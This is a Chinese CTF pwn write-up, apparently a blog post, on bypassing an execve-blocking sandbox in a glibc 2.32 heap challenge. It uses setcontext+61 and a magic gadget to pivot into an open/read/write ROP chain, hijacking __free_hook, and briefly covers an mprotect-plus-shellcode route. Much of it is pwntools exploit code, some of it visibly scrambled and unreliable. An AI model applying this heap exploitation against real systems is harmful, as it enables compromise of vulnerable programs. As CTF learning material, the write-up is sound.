Setcontext与Magic-Gadget
题目在LargebinsAttact与TcachebinsPosioning中基本一样,只是开了沙箱ban了execve。

考虑使用orw
,在上一篇的基础上来继续探究如何orw
方法1
考虑使用setcontext,栈迁移rop --glibc2.32
首先先来看setcontext
,以rdx
为基地址设置寄存器。注意这里从setcontext + 61
,前面的指令容易卡死。
由于我们只能控制rdi
指向的值,需要找Magic-Gadget来转换为rdx
,这里用rop-gadget找了一个。
'''
0x000014b760
mov rdx, qword ptr [rdi + 8] ;
mov qword ptr [rsp], rax ;
call qword ptr [rdx + 0x20]
'''
这样就设置了rdx,还完成了跳转。
调试的时候发现这里还有push rcx的动作,所以rcx设置了最后跳转的值,需要与设置的rsp相搭配完成栈迁移rop
而后再写一下orw的值,存进新开辟的堆块里。使用rop.base设置rop的地址,方便工具找字符串。PS 太优雅了!
= ROP(libc)
orw = orw_addr + 0x8 #调试的偏移
orw.base open(b'flag',0,0)
orw.3,heap_base+0x200,0x20)
orw.read(1,heap_base+0x200,0x20) orw.write(
这里贴一下这部分的exp
15,0x900)
add(= heap_base + 0x3290 + 0x10
rdi_context_addr = heap_base + 0x3ba0
orw_addr = ROP(libc)
orw = orw_addr + 0x8
orw.base open(b'flag',0,0)
orw.3,heap_base+0x200,0x20)
orw.read(1,heap_base+0x200,0x20)
orw.write(
info(orw.dump())15,orw.chain()[8:])
edit(
= libc.address + 0x000014b760
gadget '''
0x000014b760
mov rdx, qword ptr [rdi + 8] ;
mov qword ptr [rsp], rax ;
call qword ptr [rdx + 0x20]
'''
= ROP(libc)
rop
= p64(0) + p64(rdi_context_addr) + p64(0)*2 +p64(libc.sym['setcontext']+61)
rdi_context += p64(0) * 15 + p64(orw_addr+0x10) + orw.chain()[:8]
rdi_context # rop.raw(rdi_context)
info(rop.dump())
14,p64(gadget))
edit(13,rdi_context) #rdi的值
edit('__free_hook',libc.sym['__free_hook'])
show_addr(
pause()13)
delete( r.interactive()
方法二
使用mprotect函数修改出一块rwx
的地址,然后再写入orw
的shellcode,
这里顺便贴一下直接见到的shellcraft的用法,之后可以研究一下。应该也有比较方便的调用方法
import pwnlib.shellcraft as sc
'rax':SYS_ptrace,'rsi':'r14','rdi':0x11,'rcx':0,'rdx':0})+\'syscall\n')
asm(sc.setregs({'/bin/sh\x00')+sc.syscall('SYS_getpid','rsp',0,0))
asm(sc.pushstr('rdi','rax'))
asm(sc.mov("lea rsi,[rip]\n")#mov rip方法 asm(
找到一个magic-gadget修改rbp然后leave-ret迁移过去,再orw
,可以直接orw也不用写shellcode。
总结一下
两种方法都还算简便易用,关键是找magic-gadget,有合适的就可以打。